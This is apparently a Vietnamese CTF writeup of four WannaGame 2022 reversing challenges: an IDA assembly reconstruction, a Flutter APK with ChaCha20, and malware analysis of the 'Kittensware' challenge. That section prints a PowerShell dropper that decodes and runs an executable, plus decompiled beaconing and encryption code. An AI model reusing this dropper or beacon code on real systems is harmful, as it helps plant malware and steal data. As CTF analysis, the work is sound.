--- title: Wannagame championship 2022 Writeups date: 2022-12-13 10:12:40 category: CTF tags: - Reversing - Misc --- # Overview - Nguồn: https://cnsc.uit.edu.vn/ctf ## Đôi lời về trải nghiệm thi: Đây là cuộc thi về ctf do bên UIT tổ chức, trải qua 8 tiếng căng thẳng thì:... ![wannagame-2022_2022-12-13-10-30-46](https://hackmd.io/_uploads/S1B0NS486.png) Tuy được hạng 4 toàn bảng (hạng nhì offline), nma cũng khá xót khi còn thiếu tận 1.000...1 bài nữa để lên top :< và còn đâu đó 1 bài forensics dang dở + 1 bài cryptography biết hướng làm nhưng không ra. Tổng cộng hôm thi team mình được 7 bài (1 MISC + 1 WEB + 2 PWN + 3 REV), trong đó thì mình ăn first blood cả 3 bài rev :)) + thêm bài misc khá là ... Trong danh sách writeups sau, mình sẽ trình bày theo mốc thời gian làm, thay vì độ khó :>. Thứ tự độ khó tăng dần sẽ là Memory -> Baby APK -> The return of Anti Debug -> Kittensware. # Write ups ## 1. The return of Anti Debug ![wannagame-2022_2022-12-13-10-49-18](https://hackmd.io/_uploads/SyJJBrEUa.png) ### Tổng quan: Bài này là bài làm lại (đổi biến số) từ 1 bài bị lỗi (Anti Debug) của kỳ Wannagame năm trước :)). Trước hôm thi thì mình có giải lại thử, nói chung đây sẽ là dạng để bạn thể hiện khả năng đọc hiểu code assembly và hiểu cách mà một số decompiler (IDA, Ghidra, ...) output thông tin Theo gợi ý, file `code.txt` sẽ có nội dung như sau (bỏ qua các struct ở đầu file): ```assembly ; ; +-------------------------------------------------------------------------+ ; | This file was generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2021 Hex-Rays, <support@hex-rays.com> | ; | License info: 48-206A-1AC0-08 | ; | IDA PRO 7.6 SP1 | ; +-------------------------------------------------------------------------+ ; ; Input SHA256 : 8FFC76D721702FD9140973C39403152E44FF090B90BC9972107BBF9BC56BFAF5 ; Input MD5 : 2310C32D2C9478678CA2493BF866EDA4 ; Input CRC32 : 07A8B466 ; File Name : C:\Users\nguye\OneDrive\Máy tính\a.out ; Format : ELF64 for x86-64 (Shared object) ; Interpreter '/lib64/ld-linux-x86-64.so.2' ; Needed Library 'libc.so.6' ; ; Source File : 'crtstuff.c' ; Source File : 'code.c' ; Source File : 'crtstuff.c' .686p .mmx .model flat .intel_syntax noprefix ``` Từ thông tin trên biết được file này là elf64, dump từ IDA 7.6, và không có liên kết thêm thư viện ngoài. Câu hỏi được đặt ra là từ file này convert sang IDA được không <("), thì câu trả lời có vẻ là không (mặc dù file có vẻ chi tiết hơn so với challenge năm trước), có thể tìm hiểu thêm [tại đây](https://reverseengineering.stackexchange.com/questions/3800/why-there-are-not-any-disassemblers-that-can-generate-re-assemblable-asm-code) ### Nơi chương trình bắt đầu Vị trí đầu tiên (Entry point) cần phải xem xét trong đa số trường hợp sẽ là `main` (Đây là hàm do IDA tự đặt tên dựa trên thông tin trên file), chỉ một số ít mới cần xét đến `_start` (Dành cho trường hợp nanomite - chương trình tự fork và tự điều khiển chính bản thân thông qua `ptrace`). Hàm main: ```c ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl main(int argc, const char **argv, const char **envp) public main main proc near ; DATA XREF: _start+21↑o var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h stream = qword ptr -0B0h ptr = qword ptr -0A8h s = byte ptr -0A0h var_50 = byte ptr -50h var_8 = qword ptr -8 ; __unwind { endbr64 push rbp mov rbp, rsp sub rsp, 0C0h mov rax, fs:28h mov [rbp+var_8], rax xor eax, eax lea rsi, modes ; "r" lea rdi, aSomethingsecre ; "./somethingSecret.txt" call _fopen mov [rbp+stream], rax mov edi, 4Ch ; 'L' ; size call _malloc mov [rbp+ptr], rax mov rdx, [rbp+stream] mov rax, [rbp+ptr] mov rcx, rdx ; stream mov edx, 1 ; n mov esi, 42h ; 'B' ; size mov rdi, rax ; ptr call _fread mov rax, [rbp+stream] mov rdi, rax ; stream call _fclose lea rdi, s ; "Oh no, someone leaked something..." call _puts lea rax, [rbp+s] mov edx, 42h ; 'B' ; n mov esi, 0 ; c mov rdi, rax ; s call _memset lea rax, [rbp+var_50] mov edx, 42h ; 'B' ; n mov esi, 0 ; c mov rdi, rax ; s call _memset mov edi, 0 ; timer call _time mov edi, eax ; seed call _srand mov [rbp+var_BC], 0 jmp short loc_1657 ; --------------------------------------------------------------------------- ``` ### Khôi phục biến Stack ở hàm `main` thuộc dạng `bp-based`, tức là các vị trí đều được tính trên base pointer. Từ đây ta sẽ cố gắng khôi phục lại **kiểu dữ liệu ban đầu** của từng biến ```c var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h stream = qword ptr -0B0h ptr = qword ptr -0A8h s = byte ptr -0A0h var_50 = byte ptr -50h var_8 = qword ptr -8 ``` Để dễ hình dung, ta có bảng sau: |Biến|Loại pointer| Offset với biến trước | Offset với bp| Kiểu dữ liệu đề xuất | |-|-|-|-|-| |var_BC|int*| 0 | -0x0bc | int (4b) | |var_B8|int*| 4 | -0x0b8 | int (4b) | |var_B4|int*| 4 | -0x0b4 | int (4b) | |stream|long*| 4 | -0x0b0 | void* (8b) | |ptr| long*| 8 | -0x0a8 | void* (8b) | |s| char* | 8| -0x0a0 | char[0x50] (0x50b) | |var_50| char*| 0x50 | -0x50 | char[0x48] (0x48b) | |var_8| long* | 0x48 | -0x8 | long (8b) ~ `canary` | |bp | void* | 0x8 | 0x0| base pointer | ### Calling convention __cdecl Tóm tắt lại, ta sẽ chi cần nhớ thứ tự như sau (calling convention này chỉ dành cho linux): ```c func1(int a, int b, int c, int d, int e, int f); // a in RDI, b in RSI, c in RDX, d in RCX, e in R8, f in R9 // return value alway in RAX ``` ### Phân tích hàm main thông qua tự tạo pseudo-code ```c lea rsi, modes ; "r" lea rdi, aSomethingsecre ; "./somethingSecret.txt" call _fopen mov [rbp+stream], rax ``` Tương đương với ```c stream = rax = fopen("./somethingSecret.txt", "r"); ``` Đây là 1 file khá đáng nghi, không được cung cấp bởi người ra đề ~> có thể nội dung file chính là flag, tập trung vào nội dung lấy từ file. ```c mov edi, 4Ch ; 'L' ; size call _malloc mov [rbp+ptr], rax ``` ```c ptr = rax = malloc(0x4c); // Khởi tạo vùng nhớ trên heap size = 0x4c ``` ```c mov rdx, [rbp+stream] mov rax, [rbp+ptr] mov rcx, rdx ; stream mov edx, 1 ; n mov esi, 42h ; 'B' ; size mov rdi, rax ; ptr call _fread ``` ```c fread(ptr, 0x42, 1, stream); // Đọc upto 0x42 ký tự từ stream vào ptr ``` ```c mov rax, [rbp+stream] mov rdi, rax ; stream call _fclose ``` ```c fclose(stream); // Đóng file ``` ```c lea rax, [rbp+s] mov edx, 42h ; 'B' ; n mov esi, 0 ; c mov rdi, rax ; s call _memset lea rax, [rbp+var_50] mov edx, 42h ; 'B' ; n mov esi, 0 ; c mov rdi, rax ; s call _memset ``` ```c memset(s, 0, 0x42); memset(var_50, 0, 0x42); // Reset giá trị phần tử của s và var_50 về 0 ``` ```c mov edi, 0 ; timer call _time mov edi, eax ; seed call _srand ``` ```c srand(time(0)); // Khởi tạo random seed ``` ### Lặp và rẽ nhánh - Vòng lặp thứ nhất ```c mov [rbp+var_BC], 0 jmp short loc_1657 ; ------ loc_163A: ; CODE XREF: main+F7↓j call _rand mov edx, eax mov eax, [rbp+var_BC] cdqe mov [rbp+rax+s], dl add [rbp+var_BC], 1 loc_1657: ; CODE XREF: main+D1↑j cmp [rbp+var_BC], 41h ; 'A' jle short loc_163A ``` Tương đương với ```c for (var_BC = 0; var_BC <= 0x41; var_BC++) { s[var_BC] = dl = (char)edx = (char)eax = (char)rand(); } // Khởi tạo s bằng các giá trị random ``` - Vòng lặp thứ 2 ```c mov [rbp+var_B8], 0 jmp short loc_16BD ; --------------------------------------------------------------------------- loc_166C: ; CODE XREF: main+15D↓j mov eax, [rbp+var_B8] movsxd rdx, eax mov rax, [rbp+ptr] add rax, rdx movzx edx, byte ptr [rax] mov eax, [rbp+var_B8] cdqe movzx eax, [rbp+rax+s] xor eax, edx mov edx, eax mov eax, [rbp+var_B8] cdqe movzx eax, [rbp+rax+s] add eax, edx mov edx, eax mov eax, [rbp+var_B8] cdqe mov [rbp+rax+var_50], dl add [rbp+var_B8], 1 loc_16BD: ; CODE XREF: main+103↑j cmp [rbp+var_B8], 41h ; 'A' jle short loc_166C ``` Tương đương với ```c for (var_B8 = 0; var_B8 <= 0x41; var_B8++) { edx = ptr[var_B8]; // = *(ptr + var_B8) eax = s[var_B8]; // rax = var_B8, eax = *(s+rax) eax ^= edx; // xor eax, edx edx = eax; eax = s[var_B8]; // rax = var_B8, eax = *(s+rax) eax += edx; // add eax, edx edx = eax; var_50[var_B8] = (char)edx; // eax = var_B8, *(rax + var_50) = dl = (char)edx; } ``` - Vòng lặp thứ 3 ```c mov [rbp+var_B4], 0 jmp short loc_16FF ; --------------------------------------------------------------------------- loc_16D2: ; CODE XREF: main+19F↓j mov eax, [rbp+var_B4] cdqe movzx eax, [rbp+rax+var_50] movsx eax, al movzx eax, al mov esi, eax lea rdi, format ; "%02X " mov eax, 0 call _printf add [rbp+var_B4], 1 loc_16FF: ; CODE XREF: main+169↑j cmp [rbp+var_B4], 2 jle short loc_16D2 ``` Tương đương với ```c for (var_B4 = 0; var_B4 <= 2; var_B4++) { eax = var_50[var_B4]; // eax = *(var_50 + var_B4) eax = (char)eax; // = al; printf("%02X ", eax); // edi = eax; } ``` Sau đó chương trình thực hiện lệnh call tới hàm `sus` và kết thúc chương trình: ```c mov edi, 0Ah ; c call _putchar mov eax, 0 call sus mov eax, 0 mov rcx, [rbp+var_8] xor rcx, fs:28h jz short locret_1735 call ___stack_chk_fail ; --------------------------------------------------------------------------- locret_1735: ; CODE XREF: main+1C7↑j leave retn ``` Tổng quan lại những gì chương trình đã làm trong hàm main: - Tạo ptr từ file "./somethingSecret.txt" - Tạo mảng s random - Tạo mảng var_50 = (ptr ^ s) + s (element wise) - Leak 3 phần tử đầu của mảng var_50 dưới dạng thập lục phân ra màn hình. ### Hàm sus Quá trình tạo pseudo-code cũng tương tự như trên (hoặc có thể đọc trực tiếp không cần thông dịch) :> Do hàm này sử dụng lại từ challenge trước, mình sẽ chỉ nói đại ý về công dụng thôi <img src="/images/Popo/2.webp" width="32" height="32" style="display:inline"> - Đọc `file` /proc/self/maps, đây chính là bảng chứa virtual address của process hiện tại. Sau đó đọc qua từng dòng, đến khi nào dòng có substring là '\[st' (chính là \[stack\]) thì thực hiện parse địa chỉ đầu và cuối của stack - Mở `file` /proc/self/mem, đây là memory hiện tại của chương trình, sau đó seek tới stack và dump toàn bộ ra file `dump` ### Hướng giải quyết Như vậy, ta đã biết được các thông tin sau: - stack của chương trình - Mảng var_50 thông qua những bytes đã được leak trong `log.txt` - Mảng s thông qua offset với mảng var_50 - Không biết được thông tin của ptr trên heap (thông tin cần tìm) Như vậy, `ptr` có thể decode lại như sau: var_50 = (ptr ^ s) + s Suy ra ptr = (((var_50 - s) + 256) % 256) ^ s ```py leak = b'\xAE\x88\x89' offset_s = -0x50 flag_size = 0x42 f = open("dump", "rb") dump = f.read() f.close() var_50_pos = dump.find(leak) s_pos = var_50_pos + offset_s var_50 = dump[var_50_pos: var_50_pos + flag_size] s = dump[s_pos: s_pos + flag_size] # Recover result = ''.join([chr(((a-b+256)%256)^b) for a,b in zip(var_50, s)]) print(result) # Nhung_biet_ly_keo_dai_day_dut_moi_chinh_la_bua_tiec_cua_thanh_xuan ``` Những flag của phần RE sau đó sẽ đem gửi lên server lấy format gốc (W1{.*}) -> done ## 2. Baby APK ![wannagame-2022_2022-12-13-20-56-29](https://hackmd.io/_uploads/rkfZBHVLT.png) ### Tổng quan: Đây là bài mình giải thứ 2, khi giải xong cũng khá bất ngờ khi mà lúc nộp server lại import thiếu flag, tốn hơn nửa tiếng để xác nhận phía tác giả + fix. ### Decompile với jadx ![wannagame-2022_2022-12-13-23-43-06](https://hackmd.io/_uploads/B1oVrr4Up.png) Có thể thấy được chương trình hiện tại được build trên flutter. Ở flutter có 1 cái đặc biệt là `debug mode` và `release mode` sẽ hoàn toàn khác nhau, nguyên nhân là `debug mode` cần đến việc `hot reload` (cập nhật giao diện khi sửa code) bù lại cho việc app sẽ chạy chậm & unstable hơn. Để phân biệt giữa 2 mode, Ta chỉ cần xét đơn giản như sau - Debug mode (bài hiện tại): Tồn tại file (`kernel_blob.bin`)[https://stackoverflow.com/questions/53368586/what-is-flutters-kernel-blob-bin] trong folder assets/flutter_assets/ , và đây cũng là file chứa mã nguồn chính của chương trình để phân tích - Release mode (bài `APK Again`): Tồn tại file `libapp.so` trong folder lib/< arch >, chứa mã nguồn đã được compile lại thành VM Snapshot. ### Phân tích kernel_blob.bin Đầu tiên, extract string có trong file sang file text, ví dụ ```bash strings kernel_blob.bin > abc.txt ``` Sau đó vào file, search với những cụm từ như `main.dart`, `wannagame_championship`(do đây cũng là package của app) để tìm vị trí của chương trình, tách lấy đoạn code cần thiết, ta được thành phẩm như sau: ```dart import 'dart:math'; import 'package:cryptography/cryptography.dart'; import 'package:flutter/material.dart'; import 'package:http/http.dart'; void main() { runApp(const MyApp()); } List<int> ra() { Random rand = Random(1412); List<int> arr = []; for(int i =0;i<32;i++) { arr.add(rand.nextInt(256)); } return arr; } List<int> rb() { Random rand = Random(0xdeadbeef); List<int> arr = []; for(int i =0;i<12;i++) arr.add(rand.nextInt(256)); return arr; } bool cta(List<int> arr1,List<int>arr2) { for(var i =0;i<arr1.length;i++) if(arr1[i]!=arr2[i]) { return false; } return true; } List<int> m() { final message = <int>[13, 5, 172, 72, 129, 236, 106, 81, 95, 82, 154, 188, 102, 63, 210, 150, 80, 56, 108, 22, 100]; for(int i =0;i<message.length;i++) { message[i]=message[i]^0xab; } return message; } List<int> k() { return ra(); } List<int> n() { return rb(); } List <int> ma() { final mac = <int>[162, 93, 181, 147, 1, 86, 102, 148, 137, 92, 119, 11, 14, 91, 23, 226, 251, 40, 192, 189, 204, 190, 40, 167, 4, 227, 112, 58, 170, 136, 100, 53]; return mac; } Future<String> calc_chacha20(List<int> m,List<int> k,List<int> n,List<int> ma) async { final algorithm = Chacha20( macAlgorithm: Hmac.sha256(), ); final secretKey = await algorithm.newSecretKeyFromBytes(k); SecretBox secretBox = SecretBox(m,nonce: n,mac:Mac(ma)); List<int> clearText = await algorithm.decrypt( secretBox, secretKey: secretKey ); return String.fromCharCodes(clearText); } bool cts(String str1,String str2) { return str1==str2; } Future<bool> ch(String p) async { String dp = await calc_chacha20(m(),k(),n(),ma()); if (cts(dp,p)) return Future.value(true); return Future.value(false); } class MyApp extends StatelessWidget { const MyApp({Key? key}) : super(key: key); // This widget is the root of your application. @override Widget build(BuildContext context) { return MaterialApp( title: 'Flutter APP', theme: ThemeData( // This is the theme of your application. // // Try running your application with "flutter run". You'll see the // application has a blue toolbar. Then, without quitting the app, try // changing the primarySwatch below to Colors.green and then invoke // "hot reload" (press "r" in the console where you ran "flutter run", // or simply save your changes to "hot reload" in a Flutter IDE). // Notice that the counter didn't reset back to zero; the application // is not restarted. primarySwatch: Colors.blue, ), home: const MyHomePage(title: 'WannaGame Championship Challenge'), ); } } class MyHomePage extends StatefulWidget { const MyHomePage({Key? key, required this.title}) : super(key: key); // This widget is the home page of your application. It is stateful, meaning // that it has a State object (defined below) that contains fields that affect // how it looks. // This class is the configuration for the state. It holds the values (in this // case the title) provided by the parent (in this case the App widget) and // used by the build method of the State. Fields in a Widget subclass are // always marked "final". final String title; @override State<MyHomePage> createState() => _MyHomePageState(); } Future<List<int>> bytes(String password) async { bool ok = await ch(password); if(ok) return password.codeUnits; return password.codeUnits; } class _MyHomePageState extends State<MyHomePage> { @override Widget build(BuildContext context) { // This method is rerun every time setState is called, for instance as done // by the _incrementCounter method above. // // The Flutter framework has been optimized to make rerunning build methods // fast, so that you can just rebuild anything that needs updating rather // than having to individually change instances of widgets. return Scaffold( appBar: AppBar( // Here we take the value from the MyHomePage object that was created by // the App.build method, and use it to set our appbar title. title: Text(widget.title), ), body: Input_Text(), ); } } Future<List<int>> calc_sha256(String password) async { final algorithm_hash = Sha256(); final sink = algorithm_hash.newHashSink(); // sink.add(password.codeUnits); sink.add(await bytes(password)); sink.close(); final hash = await sink.hash(); return hash.bytes; } class Input_Text extends StatelessWidget { Input_Text({Key? key}) : super(key: key); TextEditingController password_ctl = TextEditingController(); TextEditingController flag_check_ctl = TextEditingController(); TextEditingController flag = TextEditingController(); @override Widget build(BuildContext context) { return Column( crossAxisAlignment: CrossAxisAlignment.start, children: <Widget>[ Padding( padding: EdgeInsets.symmetric(horizontal: 8, vertical: 16), child: TextField( controller: password_ctl, decoration: InputDecoration( border: OutlineInputBorder(), hintText: 'Enter a password', ), ), ), Container( alignment: Alignment.center, height: 50, padding: const EdgeInsets.fromLTRB(10, 0, 10, 0), child: ElevatedButton( child: const Text('Check password'), onPressed: () async { var hash_pass = <int>[127, 16, 136, 53, 147, 106, 226, 166, 95, 199, 25, 214, 163, 157, 159, 72, 58, 95, 116, 239, 177, 224, 103, 132, 201, 73, 232, 210, 83, 152, 54, 109]; final hash = await calc_sha256(password_ctl.text); bool check = cta(hash_pass,hash); if(check) { flag_check_ctl.text="Correct"; flag.text="Try to submit it !!!"; } else { flag_check_ctl.text = "Wrong!!! Try again ^.^"; } } ) ), Image.asset( "graphics/meowmeow.gif", ), TextField( decoration: InputDecoration( border: InputBorder.none, enabled: false ), controller: flag_check_ctl, textAlign: TextAlign.center, style: TextStyle(color: Colors.red) ), TextField( decoration: InputDecoration( border: InputBorder.none, enabled:false ), controller: flag, textAlign: TextAlign.center, style: TextStyle(color: Colors.blue,fontStyle: FontStyle.italic), ) ], ); } } ``` Ở class cuối, có lời nhắn về việc flag đúng sai khi click vào button -> Ta sẽ bắt đầu ở hàm này. `Source` sẽ là input từ người dùng và `Sink` chính là hệ thống hiện thị flag đúng. ```dart // ... onPressed: () async { var hash_pass = <int>[127, 16, 136, 53, 147, 106, 226, 166, 95, 199, 25, 214, 163, 157, 159, 72, 58, 95, 116, 239, 177, 224, 103, 132, 201, 73, 232, 210, 83, 152, 54, 109]; final hash = await calc_sha256(password_ctl.text); bool check = cta(hash_pass,hash); if(check) { flag_check_ctl.text="Correct"; flag.text="Try to submit it !!!"; } else { flag_check_ctl.text = "Wrong!!! Try again ^.^"; } } // ... ``` Ta có Call graph như sau: ![wannagame-2022_x](https://hackmd.io/_uploads/BksuSBVUa.png) Có 2 hàm cần chú ý là `cts` và `cta`: ```dart bool cts(String str1,String str2) { return str1==str2; } bool cta(List<int> arr1,List<int>arr2) { for(var i =0;i<arr1.length;i++) if(arr1[i]!=arr2[i]) { return false; } return true; } ``` Về cơ bản thì 2 hàm này đều để compare giữa 2 object với nhau -> Đặt vấn đề `sink` sẽ nằm ở đây (mục tiêu tạo giá trị = `True`) Ở hàm `calc_sha256`, ngoại trừ việc gọi tới hàm `bytes` đáng ngờ ra thì phần còn lại để tính hash sha256 như bình thường, suy ra mục tiêu cần đạt được là tìm input sao cho: `hash_pass == SHA256(input)`. Tuy nhiên với lượng thông tin như vậy là chưa đủ (hash không nằm trong database có sẵn trên web để crack), nên cần tập trung chính vào hàm `calc_chacha20`. Hàm `cts` so sánh giữa input và giá trị trả về của `calc_chacha20`, cho nên đây có thể là hàm giải mã 1 chuỗi đã được mã hoá trong chương trình. Đến đây, có 2 cách có thể thực hiện: - Dynamic: chạy chương trình và hook vào hàm cts để lấy thông tin 2 chuỗi được so sánh - Static: Reproduce lại kết quả của hàm calc_chacha20 Ở đây thì mình cũng chưa rành phương pháp dynamic lắm, nên tạm thời sẽ theo hướng static là chính :> ```dart Future<bool> ch(String p) async { String dp = await calc_chacha20(m(),k(),n(),ma()); if (cts(dp,p)) return Future.value(true); return Future.value(false); } List<int> m() { final message = <int>[13, 5, 172, 72, 129, 236, 106, 81, 95, 82, 154, 188, 102, 63, 210, 150, 80, 56, 108, 22, 100]; for(int i =0;i<message.length;i++) { message[i]=message[i]^0xab; } return message; } List<int> k() { return ra(); } List<int> n() { return rb(); } List <int> ma() { final mac = <int>[162, 93, 181, 147, 1, 86, 102, 148, 137, 92, 119, 11, 14, 91, 23, 226, 251, 40, 192, 189, 204, 190, 40, 167, 4, 227, 112, 58, 170, 136, 100, 53]; return mac; } List<int> ra() { Random rand = Random(1412); List<int> arr = []; for(int i =0;i<32;i++) { arr.add(rand.nextInt(256)); } return arr; } List<int> rb() { Random rand = Random(0xdeadbeef); List<int> arr = []; for(int i =0;i<12;i++) arr.add(rand.nextInt(256)); return arr; } Future<String> calc_chacha20(List<int> m,List<int> k,List<int> n,List<int> ma) async { final algorithm = Chacha20( macAlgorithm: Hmac.sha256(), ); final secretKey = await algorithm.newSecretKeyFromBytes(k); SecretBox secretBox = SecretBox(m,nonce: n,mac:Mac(ma)); List<int> clearText = await algorithm.decrypt( secretBox, secretKey: secretKey ); return String.fromCharCodes(clearText); } ``` Chacha20 gồm 2 thành phần chính là key và nonce tạo thành stream (https://loup-vaillant.fr/tutorials/chacha20-design). Sau đó việc encrypt/decrypt chỉ đơn giản là việc xor stream với message/ciphertext. Theo https://pub.dev/documentation/cryptography/latest/cryptography/Chacha20-class.html: - secretKeyLength is 32 bytes - nonceLength is 12 bytes ```dart String dp = await calc_chacha20(m(),k(),n(),ma()); List<int> k() { return ra(); } List<int> n() { return rb(); } ``` Cộng với việc `ra`, `rb` lần lượt tạo ra mảng 32 và 12 bytes -> đoán được đây là secret và nonce (có thể từ kiểm nghiệm lại từ flow của chương trình). Ciphertext của chương trình nằm ở hàm `m` (giá trị trả về của hàm làm tham số để truyền vào `SecretBox`). Và phần này đơn giản chỉ là xor ngược lại mảng với 0xab để tìm ciphertext gốc: ```dart // .... final message = <int>[13, 5, 172, 72, 129, 236, 106, 81, 95, 82, 154, 188, 102, 63, 210, 150, 80, 56, 108, 22, 100]; for(int i =0;i<message.length;i++) { message[i]=message[i]^0xab; } // .... ``` Vấn đề đặt ra ở `ra`, `rb`: làm sao để tìm lại mảng ? (cả 2 hàm đều sử dụng đến random). Để ý thấy được cả 2 đều dùng 1 giá trị cố định cho seed của Random -> giá trị ở mỗi lần chạy có thể sẽ được giữ nguyên!. Để cho tiện thì có thể sử dụng https://dartpad.dev/ để chạy chương trình và tìm giá trị trả về của 2 hàm như sau: ![wannagame-2022_2022-12-17-00-55-06](https://hackmd.io/_uploads/rywFHSVLa.png) Từ 3 thành phần tìm được: - ciphertext: a6ae07e32a47c1faf4f93117cd94793dfb93c7bdcf - secretkey: b0f64f17877bd72bc2c1adc614d42f818d077889729fd7edcddfb85967033104 - nonce: 53b724922ef0da39bdcbb46a Sau đó, có thể sử dụng tool bất kỳ để có thể decrypt (Ở đây mình sẽ sử dụng CyberChef): ![wannagame-2022_2022-12-17-00-57-21](https://hackmd.io/_uploads/rkRtrS4U6.png) **Flag**: `L0v3$W^na0n3_U1T_1412` ## 3. Memory ![wannagame-2022_2022-12-17-21-27-23](https://hackmd.io/_uploads/SJVqSrNL6.png) ### Too Short, Didn't Read Từ đề bài đã gợi ý về chuyện "or not" <img src="/images/Popo/7.webp" width="32" height="32" style="display:inline">, cho nên là... ![wannagame-2022_2022-12-17-21-30-26](https://hackmd.io/_uploads/B1FqSr4Ua.png) **Flag**: `W1{M3moRy_F0r3nsics_34sy_R1ght???}` ## 4. Kittensware ![wannagame-2022_2022-12-17-21-37-56](https://hackmd.io/_uploads/HkJsHr4Ua.png) ### Tổng quan: Về bài này thì team mình tự hào là team duy nhất giải ra (vào cuối giờ theo đúng nghĩa đen - 2 phút trước khi kết thúc). Đồng thời đây cũng là bài tốn thời gian nhất :)) ~30p mình ngồi kiếm cách để unpack `VMProtect` để rồi nhận ra không cần unpack vẫn xem code được... + ~ 1 tiếng để tĩnh tâm hiểu được flow chương trình. Lan man vậy đủ rôì :> bắt đầu reverse thôi ### Suspected binary in network trafic Khi mở file lên bằng `Wireshark`, đầu tiên sẽ thực hiện filter dựa trên `http` protocol để tìm ra những file được `download` và `upload` (Data ở dạng raw, có thể dump được do không bị mã hoá trên đường truyền ở cả 2 phía): ![wannagame-2022_2022-12-17-22-00-33](https://hackmd.io/_uploads/B1eprB4Lp.png) Dễ dàng thấy được có 1 file Powershell đáng ngờ đã được tải về (dựa theo đuôi `.ps`), còn lại là các request POST tới `/beacon_ring`. Dump file Powershell được kq như sau: ```powershell $b64='TVqQAA...<chuỗi dài>...lbgA=' $filename = 'C:\Users\Public\challenge.exe' $bytes = [Convert]::FromBase64String($b64) [IO.File]::WriteAllBytes($filename, $bytes) Start-Process 'C:\Users\Public\challenge.exe' ``` Công việc chính của file Powershell này là từ chuỗi mã hoá base64, decode và lưu ra file `challenge.exe`, sau đó sẽ khởi chạy file này (1 kiểu hoạt động cơ bản của Trojan, hide -> inject -> eavesdrop :>) Để lấy được file `challenge.exe` thì cần decode base64 và lưu = thành file binary (có thể dùng tool Cyberchef luôn) hoặc đơn giản hơn thì chỉ cần xoá dòng cuối `Start-Process...`, chạy file Powershell cho nó tự giải mã và vào `'C:\Users\Public` để lấy file (Không khuyến khích chạy file nếu chưa biết nó sẽ làm gì) Sau khi có được `challenge.exe`, thử analyze với `Detect It Easy` ta có được thông tin như sau: ![wannagame-2022_2022-12-17-22-13-47](https://hackmd.io/_uploads/S1NaHrEL6.png) Các thông tin tìm được: - Được protect bằng `VMProtect` ở mức min (Phần này mọi người có thể tự tìm hiểu xem nó sẽ làm gì nhé) - Compile bằng MinGW's gcc 64bit (hầu như sẽ không gọi tới WinAPI quá nhiều - 1 điểm cộng lớn khi reverse binary Windows.) ### Phân tích bằng IDA Khi mới đầu load, chương trình sẽ xuất hiện rất nhiều mã `int 4`, tuy nhiên có thể đay chỉ là interrupt của VMProtect, không ảnh hưởng tới chương trình lắm (thông qua debug), + thêm việc dùng indirect calling cho function, cho nên có thể dùng regex và filter bớt đi, được đoạn code sáng sủa hơn như sau: ```c memset(v70, 0, 2048); wcscpy(v74, L"key"); if ( !get_request(v74, v70) ) return -1; v3 = strlen(v70); v4 = b64_decode(v70, v3); v5 = strlen(v4); v6 = json_parse(v4, v5); memset(v70, 0, 2048); v61[0] = 0; process_object(v6, 1, v70, v61); v7 = srand; v8 = time(0); v7(v8); memset(v65, 0, 80); memset(v71, 0, 2048); v9 = key; v61[1] = 0; v10 = iv; do { v11 = rand(); v12 = v11; wcscpy(v74, L"〥報"); text_68(v9, v74, (v11 >> 4) & 0xF); wcscpy(v74, L"〥報"); text_68(v9 + 1, v74, v12 & 0xF); v13 = rand(); v14 = v13; wcscpy(v74, L"〥報"); text_68(v10, v74, (v13 >> 4) & 0xF); v9 += 2; wcscpy(v74, L"〥報"); v15 = v10 + 1; v10 += 2; text_68(v15, v74, v14 & 0xF); } while ( v9 != &key[32] ); mem_concat(key, 32, iv, 32, v65); memset(v72, 0, 2048); wmemcpy(v74, L"ᕍ䭈䵓䥝ᵛ慺䍠", 7); v16 = v74; do { *v16 ^= 54 - v74 + v16; v16 = (v16 + 1); } while ( (&v75 + 6) != v16 ); v17 = strlen(v72); mem_concat(v72, v17, v74, 13, v72); v18 = strlen(v72); mem_concat(v72, v18, v65, 64, v72); wmemcpy(v74, L"ᬔᬘ告䥎Ԝ灠灰灰䜻", 9); v19 = v74; do { *v19 ^= 54 - v74 + v19; v19 = (v19 + 1); } while ( v19 != (&v76 + 2) ); v20 = strlen(v72); mem_concat(v72, v20, v74, 17, v72); v21 = strlen(v72); rc4(v70, v61[0], v72, v21, v71); v22 = strlen(v72); v23 = strlen(user_token); mem_concat(user_token, v23, v71, v22, v71); v24 = strlen(v72); v25 = v24 + strlen(user_token); v26 = b64_encode(v71, v25); wcscpy(v74, L"key"); v56 = v26; if ( !post_request(v74, v26, 0) ) return -1; memset(&key_bytes, 0, 30); memset(&iv_bytes, 0, 30); if ( !string2hex(key, 0x20u, &key_bytes) ) return -1; if ( !string2hex(iv, 0x20u, &iv_bytes) ) return -1; get_current_dir(); v28 = 54 - v74; while ( 2 ) { memset(v72, 0, 2048); wmemcpy(v74, L"ᕍ䵋佛义Ԝ捠☰℥政䤵", 10); v29 = v74; do { *v29 ^= v28 + v29; v29 = (v29 + 1); } while ( v29 != (&v76 + 4) ); v30 = strlen(v72); mem_concat(v72, v30, v74, 19, v72); v31 = (strlen(v72) & 0xFFFFFFF0) + 16; AES_init_ctx_iv(v66, &key_bytes, &iv_bytes); AES_CBC_encrypt_buffer(v66); v32 = strlen(user_token); mem_concat(user_token, v32, v72, v31, v72); v33 = strlen(user_token); v34 = b64_encode(v72, v31 + v33); v35 = v74; v36 = 54; wmemcpy(v74, L"TRYZUUcMWQ'A", 12); do *v35++ ^= v36++; while ( &v77 != v35 ); if ( !post_request(v74, v34, v56) ) return -1; if ( strcmp(v56, &unk_40F000) ) assert("!strcmp(response, \"Ok\")", ".\\challenge.c", 126); v62 = 0; memset(v64, 0, 48); if ( WSAStartup(514, v67) ) return -1; wmemcpy(v74, L"ԇഋ㬏", 3); v64[0] = 0x200000001; v64[1] = 0x600000001; v37 = getaddrinfo; v38 = v74; do { *v38 ^= v28 + v38; v38 = (v38 + 1); } while ( &v74[3] != v38 ); v55 = v37(0, v74, v64, &v62); if ( v55 ) { LABEL_39: v50 = -1; WSACleanup(); return v50; } v39 = socket(*(v62 + 4), *(v62 + 8), *(v62 + 12)); v40 = v39; if ( v39 == -1 ) { v50 = -1; freeaddrinfo(v62); WSACleanup(); return v50; } if ( bind(v39, *(v62 + 32), *(v62 + 16)) == -1 ) { v50 = -1; freeaddrinfo(v62); LABEL_54: closesocket(v40); WSACleanup(); return v50; } freeaddrinfo(v62); if ( listen(v40, 